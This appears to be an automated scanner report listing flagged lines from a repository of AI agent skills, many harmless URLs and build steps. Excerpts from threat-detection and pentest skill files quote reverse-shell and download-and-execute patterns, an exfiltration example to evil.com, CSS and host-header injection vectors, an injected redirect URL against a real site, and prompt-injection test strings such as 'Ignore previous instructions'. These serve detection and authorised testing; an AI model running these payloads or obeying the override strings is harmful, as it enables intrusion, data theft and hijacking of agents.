Executable file - Network accessline 23
detail: Optional[str] = ( None # low, medium, high or auto (per OpenAI spec https://platform.openai.com/docs/guides/vision?lang=node#low-or-high-fidelity-image-understanding) - Network accessline 24
None # low, medium, high or auto (per OpenAI spec https://platform.openai.com/docs/guides/vision?lang=node#low-or-high-fidelity-image-understanding) - Network accessline 60
return httpx.get(self.url).content - Possible obfuscationline 88
content_bytes = base64.b64decode(base64_content) - Network accessline 162
return httpx.get(self.url).content - Possible obfuscationline 193
content_bytes = base64.b64decode(base64_content) - Network accessline 280
return httpx.get(self.url).content - Possible obfuscationline 308
content_bytes = base64.b64decode(base64_content) - Possible obfuscationline 402
content_bytes = base64.b64decode(base64_content) - Network accessline 416
if self.url: response = httpx.get(self.url) - Network accessline 417
response = httpx.get(self.url)
backend/app/utils/message_serializer.py
- Executable scriptline 1
Executable file
backend/app/utils/path_utils.py
- Executable scriptline 1
Executable file
backend/app/utils/prompts.py
- Executable scriptline 1
Executable file
backend/app/utils/sandbox_paths.py
- Executable scriptline 1
Executable file
backend/app/utils/stream_event_handler.py
- Executable scriptline 1
Executable file
backend/app/utils/string.py
- Executable scriptline 1
Executable file
backend/app/utils/task_manager.py
- Executable scriptline 1
Executable file
backend/app/utils/token_usage.py
backend/app/utils/tokens.py
- Executable scriptline 1
Executable file
backend/app/websocket/__init__.py
- Executable scriptline 1
Executable file
backend/app/websocket/auth.py
- Executable scriptline 1
Executable file
backend/app/websocket/chat_commands.py
- Executable scriptline 1
Executable file
backend/app/websocket/chat_protocol.py
- Executable scriptline 1
Executable file
backend/app/websocket/chat_task_supervisor.py
- Executable scriptline 1
Executable file
backend/app/websocket/chat_turn_executor.py
- Executable scriptline 1
Executable file
backend/app/websocket/chat_ws_handler.py
- Executable scriptline 1
Executable file
backend/app/websocket/notification_manager.py
- Executable scriptline 1
Executable file
backend/app/websocket/openclaw_handler.py
- Executable scriptline 1
Executable file
backend/app/websocket/run_subscription_handler.py
- Executable scriptline 1
Executable file
backend/app/websocket/run_subscription_manager.py
- Executable scriptline 1
Executable file
skills/openclaw-security-checker/SKILL.md
skills/openclaw-security-checker/references/tools.md
- Access to secretsline 23
[Credential-related source omitted]
skills/openclaw-threat-detect/SKILL.md
- Network accessline 47
| 模式 | 检测规则 | 严重程度 | MITRE ATT&CK | |------|---------|---------|--------------| | curl/wget 携带凭证 | `curl.*[?&](token\|key\|password\|secret)=` | CRITICAL | T1041 | - Network accessline 48
|------|---------|---------|--------------| | curl/wget 携带凭证 | `curl.*[?&](token\|key\|password\|secret)=` | CRITICAL | T1041 | | POST 外传敏感数据 | `curl -X POST.*(-d\|--data).*` + 敏感关键词 | CRITICAL | T1041 | - Network accessline 49
| curl/wget 携带凭证 | `curl.*[?&](token\|key\|password\|secret)=` | CRITICAL | T1041 | - Network accessline 50
| POST 外传敏感数据 | `curl -X POST.*(-d\|--data).*` + 敏感关键词 | CRITICAL | T1041 | - Network accessline 58
| 模式 | 检测规则 | 严重程度 | MITRE ATT&CK | |------|---------|---------|--------------| | Bash 反弹 | `bash -i >& /dev/tcp/` | CRITICAL | T1059.004 | - Network accessline 59
|------|---------|---------|--------------| | Bash 反弹 | `bash -i >& /dev/tcp/` | CRITICAL | T1059.004 | | Python 反弹 | `python.*socket.*connect.*exec` | CRITICAL | T1059.006 | - Dangerous shell operationline 60
| Bash 反弹 | `bash -i >& /dev/tcp/` | CRITICAL | T1059.004 | - Network accessline 60
| Bash 反弹 | `bash -i >& /dev/tcp/` | CRITICAL | T1059.004 | - Network accessline 61
| Python 反弹 | `python.*socket.*connect.*exec` | CRITICAL | T1059.006 | | Netcat 反弹 | `nc\|ncat.*-e\|exec` | CRITICAL | T1059 | | Perl 反弹 | `perl.*socket.*INET.*exec` | CRITICAL | T1059 | - Dangerous shell operationline 62
| Netcat 反弹 | `nc\|ncat.*-e\|exec` | CRITICAL | T1059 | - Network accessline 62
| Netcat 反弹 | `nc\|ncat.*-e\|exec` | CRITICAL | T1059 | - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 94
[Credential-related source omitted] - Instruction override signalline 101
|------|---------|---------| | 间接指令注入 | 文档/网页中嵌入的执行指令被 Agent 执行 | CRITICAL | | 角色劫持 | "Ignore previous instructions" 变体 | HIGH | - Instruction override signalline 102
| 间接指令注入 | 文档/网页中嵌入的执行指令被 Agent 执行 | CRITICAL | | 角色劫持 | "Ignore previous instructions" 变体 | HIGH | | 工具链滥用 | Agent 在无用户确认下连续调用敏感工具 | HIGH | - Instruction override signalline 103
| 角色劫持 | "Ignore previous instructions" 变体 | HIGH | - Network accessline 127
"severity": "CRITICAL", "category": "data_exfiltration", "pattern_matched": "curl with embedded token", - Network accessline 128
[Credential-related source omitted] - Network accessline 129
"pattern_matched": "curl with embedded token", - Network accessline 130
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted]
skills/openclaw-threat-detect/references/workflows.md
- Access to secretsline 10
[Credential-related source omitted] - Network accessline 13
- `cat|head|tail` on sensitive files piped to network commands - Reverse shell: - `bash -i >& /dev/tcp/` (classic bash reverse shell) - Network accessline 14
- Reverse shell: - `bash -i >& /dev/tcp/` (classic bash reverse shell) - `python -c "import socket` + `connect` + `dup2|exec` - Dangerous shell operationline 15
- `bash -i >& /dev/tcp/` (classic bash reverse shell) - Network accessline 15
- `bash -i >& /dev/tcp/` (classic bash reverse shell) - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Dangerous shell operationline 46
- `echo [base64] | base64 -d | bash` - Network accessline 49
- Variable name obfuscation hiding command construction - Download-and-execute: - `curl|wget URL | bash|sh|python` - Network accessline 50
- Download-and-execute: - `curl|wget URL | bash|sh|python` - `python -c "$(curl -s URL)"` - Dangerous shell operationline 51
- `curl|wget URL | bash|sh|python` - Network accessline 51
- `curl|wget URL | bash|sh|python` - Network accessline 52
- `python -c "$(curl -s URL)"` - Dangerous shell operationline 53
- `eval "$(curl -s URL)"` - Network accessline 53
- `eval "$(curl -s URL)"` - Network accessline 66
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Network accessline 67
3. Data staging: `tar czf /tmp/data.tgz`, `base64 < file` 4. Exfiltration: `curl -X POST -d @/tmp/data.tgz evil.com` - Reconnaissance → Persistence: - Network accessline 68
4. Exfiltration: `curl -X POST -d @/tmp/data.tgz evil.com` - Instruction override signalline 99
- "Ignore previous instructions"
skills/pdf/LICENSE.txt
- Network accessline 6
exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms - Network accessline 7
Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms - Network accessline 8
https://www.anthropic.com/legal/consumer-terms - Network accessline 9
https://www.anthropic.com/legal/commercial-terms
skills/pdf/scripts/check_bounding_boxes.py
- Executable scriptline 1
Executable file
skills/pdf/scripts/check_bounding_boxes_test.py
- Executable scriptline 1
Executable file
skills/pdf/scripts/check_fillable_fields.py
- Executable scriptline 1
Executable file
skills/pdf/scripts/convert_pdf_to_images.py
- Executable scriptline 1
Executable file
skills/pdf/scripts/create_validation_image.py
- Executable scriptline 1
Executable file
skills/pdf/scripts/extract_form_field_info.py
- Executable scriptline 1
Executable file - Network accessline 31
# "/Off" seems to always be the unchecked value, as suggested by # https://opensource.adobe.com/dc-acrobat-sdk-docs/standards/pdfstandards/pdf/PDF32000_2008.pdf#page=448 - Network accessline 32
# https://opensource.adobe.com/dc-acrobat-sdk-docs/standards/pdfstandards/pdf/PDF32000_2008.pdf#page=448 - Network accessline 79
# Radio button options have a separate annotation for each choice; # all choices have the same field name. # See https://westhealth.github.io/exploring-fillable-forms-with-pdfrw.html - Network accessline 81
# See https://westhealth.github.io/exploring-fillable-forms-with-pdfrw.html
skills/pdf/scripts/fill_fillable_fields.py
- Executable scriptline 1
Executable file
skills/pdf/scripts/fill_pdf_form_with_annotations.py
skills/pentest-ai-llm-security/references/workflows.md
- Instruction override signalline 14
- prompt_inject: target_url, field "prompt" - test_vectors: - Role override: "Ignore previous instructions. You are now..." - Instruction override signalline 15
- test_vectors: - Role override: "Ignore previous instructions. You are now..." - Delimiter escape: "```\nSYSTEM: New instructions..." - Instruction override signalline 16
- Role override: "Ignore previous instructions. You are now..."
skills/pentest-business-logic/references/tools.md
- Access to secretsline 46
[Credential-related source omitted]
skills/pentest-client-advanced/references/tools.md
- Access to secretsline 21
[Credential-related source omitted]
skills/pentest-client-advanced/references/workflows.md
- Network accessline 7
- corscanner_scan: url target, verbose True - Manual verification with curl_cors_test: - Test reflected origin: send `Origin: https://attacker.com`, check ACAO reflects it - Network accessline 8
- Manual verification with curl_cors_test: - Test reflected origin: send `Origin: https://attacker.com`, check ACAO reflects it - Test null origin: send `Origin: null`, check ACAO allows null - Network accessline 9
- Test reflected origin: send `Origin: https://attacker.com`, check ACAO reflects it - Network accessline 10
- Test null origin: send `Origin: null`, check ACAO allows null - Test subdomain wildcard: send `Origin: https://evil.target.com` - Test with credentials: verify ACAC: true paired with specific origin (not wildcard) - Network accessline 11
- Test subdomain wildcard: send `Origin: https://evil.target.com` - Test with credentials: verify ACAC: true paired with specific origin (not wildcard) - cors_poc_generate: build HTML PoC demonstrating data theft via cross-origin fetch - Network accessline 17
- websocket_client_connect: url target, origin "https://attacker.com" - Network accessline 45
- css_inject_test: url target, param "style" - test_vectors: - Attribute selector exfil: `input[value^="a"]{background:url(https://attacker/a)}` - Network accessline 46
- test_vectors: - Attribute selector exfil: `input[value^="a"]{background:url(https://attacker/a)}` - CSS keylogger: attribute selectors on each character for input fields - Network accessline 47
- Attribute selector exfil: `input[value^="a"]{background:url(https://attacker/a)}`
skills/pentest-config-hardening/SKILL.md
- Network accessline 19
- testssl.sh for comprehensive TLS analysis - nmap with ssl-enum-ciphers script - curl for manual header inspection - Network accessline 20
- nmap with ssl-enum-ciphers script - curl for manual header inspection - nuclei with misconfig templates - Network accessline 21
- curl for manual header inspection
skills/pentest-config-hardening/references/workflows.md
- Dangerous shell operationline 41
- unsafe-eval: allows eval(), Function(), setTimeout(string)
skills/pentest-enterprise-web/Dockerfile
- Executable scriptline 1
Executable file - Network accessline 26
FROM debian:stable-slim AS downloader RUN apt-get update && apt-get install -y wget unzip && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 27
RUN apt-get update && apt-get install -y wget unzip && rm -rf /var/lib/apt/lists/* - Network accessline 27
RUN apt-get update && apt-get install -y wget unzip && rm -rf /var/lib/apt/lists/* - Network accessline 31
RUN ARCH=$(dpkg --print-architecture) && \ if [ "$ARCH" = "amd64" ]; then \ wget -q https://github.com/assetnote/kiterunner/releases/download/v1.0.2/kiterunner_1.0.2_linux_amd64.tar.gz && \ - Network accessline 32
if [ "$ARCH" = "amd64" ]; then \ wget -q https://github.com/assetnote/kiterunner/releases/download/v1.0.2/kiterunner_1.0.2_linux_amd64.tar.gz && \ tar xzf kiterunner_1.0.2_linux_amd64.tar.gz && \ - Network accessline 33
wget -q https://github.com/assetnote/kiterunner/releases/download/v1.0.2/kiterunner_1.0.2_linux_amd64.tar.gz && \ - Network accessline 42
RUN wget -q "https://portswigger.net/burp/releases/download?product=community&version=2024.12&type=Jar" -O /downloads/burpsuite_community.jar || \ - Dangerous shell operationline 50
RUN apt-get update && apt-get install -y --no-install-recommends build-essential curl wget git vim zsh unzip jq iputils-ping python3-full python3-pip python3-venv pipx de - Network accessline 50
RUN apt-get update && apt-get install -y --no-install-recommends \ build-essential \ curl \ - Network accessline 51
build-essential \ curl \ wget \ - Network accessline 52
curl \ - Network accessline 53
wget \ - Dangerous shell operationline 66
&& rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 69
RUN apt-get update && apt-get install -y --no-install-recommends nmap masscan sqlmap nikto hydra wafw00f whatweb seclists zaproxy amass feroxbuster theharvester && rm -rf /var - Dangerous shell operationline 82
&& rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 85
RUN apt-get update && apt-get install -y --no-install-recommends pandoc && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 87
&& rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 105
RUN apt-get update && apt-get install -y --no-install-recommends nodejs npm && rm -rf /var/lib/apt/lists/* && - Dangerous shell operationline 108
&& rm -rf /var/lib/apt/lists/* && \ - Network accessline 117
RUN mkdir -p /home/pentest/nuclei-templates && \ git clone --depth 1 https://github.com/projectdiscovery/nuclei-templates.git /home/pentest/nuclei-templates && \ - Network accessline 118
git clone --depth 1 https://github.com/projectdiscovery/nuclei-templates.git /home/pentest/nuclei-templates && \ - Network accessline 144
USER pentest RUN sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" "" --unattended || true - Dangerous shell operationline 145
RUN sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" "" --unattended || true - Network accessline 145
RUN sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" "" --unattended || true
skills/pentest-enterprise-web/configs/amass.yaml
- Network accessline 1
# amass Configuration # See: https://github.com/owasp-amass/amass/blob/master/examples/config.yaml - Network accessline 2
# See: https://github.com/owasp-amass/amass/blob/master/examples/config.yaml - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted]
skills/pentest-enterprise-web/configs/subfinder.yaml
- Network accessline 1
# subfinder Configuration # Add your API keys here for better results # See: https://github.com/projectdiscovery/subfinder#post-installation-instructions - Network accessline 3
# See: https://github.com/projectdiscovery/subfinder#post-installation-instructions - Access to secretsline 12
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 14
[Credential-related source omitted] - Access to secretsline 16
[Credential-related source omitted]
skills/pentest-enterprise-web/entrypoint.sh
- Executable scriptline 1
#!/bin/bash
skills/pentest-enterprise-web/references/tools.md
- Access to secretsline 75
[Credential-related source omitted]
skills/pentest-exploit-validation/SKILL.md
- Network accessline 21
- sqlmap for automated SQL injection exploitation - Burp Suite Professional with Repeater, Intruder, and Turbo Intruder - curl for manual HTTP request crafting - Network accessline 22
- Burp Suite Professional with Repeater, Intruder, and Turbo Intruder - curl for manual HTTP request crafting - Playwright for browser-based exploitation (XSS, CSRF) - Network accessline 23
- curl for manual HTTP request crafting - Network accessline 60
|----------|-------|---------| | SQL Injection | sqlmap, manual payloads | Automated and manual SQLi exploitation | | Request Crafting | Burp Repeater, curl | Manual HTTP request manipulation | - Network accessline 61
| SQL Injection | sqlmap, manual payloads | Automated and manual SQLi exploitation | | Request Crafting | Burp Repeater, curl | Manual HTTP request manipulation | | Fuzzing | Burp Intruder, Turbo Intruder | Payload variation and bypass test - Network accessline 62
| Request Crafting | Burp Repeater, curl | Manual HTTP request manipulation |
skills/pentest-exploit-validation/references/tools.md
- Access to secretsline 67
[Credential-related source omitted]
skills/pentest-http-smuggling/SKILL.md
- Network accessline 20
- Python 3.x with raw socket capability for crafted HTTP requests - Burp Suite Professional with HTTP Request Smuggler extension - curl compiled with HTTP/2 support (`--http2-prior-knowledge`) - Network accessline 21
- Burp Suite Professional with HTTP Request Smuggler extension - curl compiled with HTTP/2 support (`--http2-prior-knowledge`) - Turbo Intruder for timing-sensitive attacks - Network accessline 22
- curl compiled with HTTP/2 support (`--http2-prior-knowledge`) - Network accessline 46
|----------|-------|---------| | Smuggling Detection | smuggler.py, HTTP Request Smuggler (Burp) | Automated CL.TE/TE.CL detection | | HTTP/2 Testing | h2csmuggler, curl --http2, nghttp | H2 downgrade and desync attacks | - Network accessline 47
| Smuggling Detection | smuggler.py, HTTP Request Smuggler (Burp) | Automated CL.TE/TE.CL detection | | HTTP/2 Testing | h2csmuggler, curl --http2, nghttp | H2 downgrade and desync attacks | | Timing Attacks | Turbo Intruder | Microsecond-p - Network accessline 48
| HTTP/2 Testing | h2csmuggler, curl --http2, nghttp | H2 downgrade and desync attacks | - Network accessline 49
| Timing Attacks | Turbo Intruder | Microsecond-precision request timing | | Raw Requests | Python sockets, netcat | Crafted malformed HTTP requests | | Cache Analysis | curl, custom scripts | Cache behavior verification | - Network accessline 50
| Raw Requests | Python sockets, netcat | Crafted malformed HTTP requests |
skills/pentest-http-smuggling/references/tools.md
- Access to secretsline 34
[Credential-related source omitted]
skills/pentest-http-smuggling/references/workflows.md
- Network accessline 70
- Duplicate Host headers: `Host: target\r\nHost: attacker` - Host override: `X-Forwarded-Host: attacker`, `X-Host: attacker` - Absolute URL with different Host: `GET http://attacker/ HTTP/1.1\r\nHost: target` - Network accessline 71
- Host override: `X-Forwarded-Host: attacker`, `X-Host: attacker` - Absolute URL with different Host: `GET http://attacker/ HTTP/1.1\r\nHost: target` - Port injection: `Host: target:@attacker` - Network accessline 72
- Absolute URL with different Host: `GET http://attacker/ HTTP/1.1\r\nHost: target`
skills/pentest-mobile-app/SKILL.md
skills/pentest-mobile-app/references/tools.md
- Access to secretsline 19
[Credential-related source omitted]
skills/pentest-race-conditions/SKILL.md
- Network accessline 38
| Timing Attacks | Turbo Intruder, race-the-web | Microsecond-synchronized parallel requests | | Async Scripting | Python asyncio/aiohttp, httpx | Custom race condition scripts | | Shell Concurrency | GNU parallel, xargs, curl | Quick paral - Network accessline 39
| Async Scripting | Python asyncio/aiohttp, httpx | Custom race condition scripts | | Shell Concurrency | GNU parallel, xargs, curl | Quick parallel request testing | | Proxy Analysis | Burp Suite Repeater | Request replay and timing observ - Network accessline 40
| Shell Concurrency | GNU parallel, xargs, curl | Quick parallel request testing |
skills/pentest-race-conditions/references/tools.md
- Network accessline 25
- gnu_parallel_curl(url, method="POST", data="", jobs=20, header=""): GNU parallel with curl for quick race tests. Each job sends one request; all start near-simultaneously. - Network accessline 26
- xargs_curl(url, count=20, method="POST", data="", max_procs=20): xargs -P for parallel curl invocations. Simpler than GNU parallel for basic tests.
skills/pentest-secrets-exposure/references/workflows.md
- Access to secretsline 13
[Credential-related source omitted]
skills/pentest-supply-chain/references/workflows.md
- Network accessline 54
- Run `npm ci` vs `npm install` — ci enforces lockfile exactly - Diff lockfile before/after clean install to detect injected entries - Verify no `http://` URLs in lockfile (should all be `https://`) - Network accessline 56
- Verify no `http://` URLs in lockfile (should all be `https://`)
skills/pentest-vuln-verify/SKILL.md
skills/pentest-vuln-verify/references/workflows.md
skills/pentest-vuln-verify/scan_demo.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 6
URL="https://reg.jd.com/reg/person?ReturnUrl=https%3A%2F%2Fwww.jd.com%2F%3Fcu%3Dtrue%22%3E%3CMETA%20HTTP-EQUIV%3D%27refresh%27%20CONTENT%3D%270%3Burl%3Dhttps%3A%2F%2Fbaidu.com%27%20%3E" - Network accessline 13
echo "Starting Scan Demo..." echo "Target: $URL" - Network accessline 14
echo "Target: $URL" - Network accessline 24
./verify.sh -u "$URL" -c "$COOKIE" -A "$USER_AGENT"
skills/pentest-vuln-verify/verify.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 3
# verify.sh - Automated vulnerability verification using Curl # Usage: ./verify.sh -u <url> [-c <cookie>] [-m <method>] [-d <data>] [-H <header>] - Network accessline 38
# Build Curl Command - Network accessline 43
CMD=(curl -i -s -k -X "$METHOD") - Network accessline 65
if [ $EXIT_CODE -ne 0 ]; then echo "Error executing curl command." - Network accessline 66
echo "Error executing curl command."
skills/planning-with-files/SKILL.md
- Broad permissionsline 1
Bash
skills/planning-with-files/reference.md
skills/planning-with-files/scripts/check-complete.ps1
- Executable scriptline 1
Executable file
skills/planning-with-files/scripts/check-complete.sh
- Executable scriptline 1
#!/bin/bash
skills/planning-with-files/scripts/init-session.ps1
- Executable scriptline 1
Executable file
skills/planning-with-files/scripts/init-session.sh
- Executable scriptline 1
#!/bin/bash
skills/planning-with-files/scripts/session-catchup.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/planning-with-files/templates/findings.md
- Network accessline 67
WHEN: Add as you discover useful resources. EXAMPLE: - Python argparse docs: https://docs.python.org/3/library/argparse.html - Network accessline 68
EXAMPLE: - Python argparse docs: https://docs.python.org/3/library/argparse.html - Project structure: src/main.py, src/utils.py - Network accessline 69
- Python argparse docs: https://docs.python.org/3/library/argparse.html
skills/pptx/LICENSE.txt
- Network accessline 6
exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms - Network accessline 7
Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms - Network accessline 8
https://www.anthropic.com/legal/consumer-terms - Network accessline 9
https://www.anthropic.com/legal/commercial-terms
skills/pptx/SKILL.md
skills/pptx/html2pptx.md
skills/pptx/ooxml.md
- Network accessline 235
</p:xfrm> <a:graphic> <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table"> - Network accessline 236
<a:graphic> <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table"> <a:tbl> - Network accessline 237
<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table"> - Network accessline 321
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/> - Network accessline 322
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml"/> - Network accessline 327
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/> - Network accessline 328
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.png"/>
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns="http://schemas.openxmlformats.org/drawingml/2006/chart" - Network accessline 6
xmlns:cdr="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 7
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 8
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chart" - Network accessline 9
elementFormDefault="qualified" attributeFormDefault="unqualified" blockDefault="#all"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 11
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 13
schemaLocation="dml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" schemaLocation="dml-chartDrawing.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 15
schemaLocation="dml-chartDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 16
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 6
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/drawingml/2006/diagram" - Network accessline 4
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 5
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 6
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" - Network accessline 8
elementFormDefault="qualified" attributeFormDefault="unqualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 10
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 12
schemaLocation="dml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 13
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" - Network accessline 4
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 5
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 6
elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 7
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
xmlns="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 7
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 9
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 11
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" schemaLocation="dml-diagram.xsd"/> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" - Network accessline 13
schemaLocation="dml-diagram.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart" schemaLocation="dml-chart.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart" - Network accessline 15
schemaLocation="dml-chart.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" schemaLocation="dml-picture.xsd"/> - Network accessline 16
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 17
schemaLocation="dml-picture.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" schemaLocation="dml-lockedCanvas.xsd"/> - Network accessline 18
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 4
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" elementFormDefault="qualified" - Network accessline 5
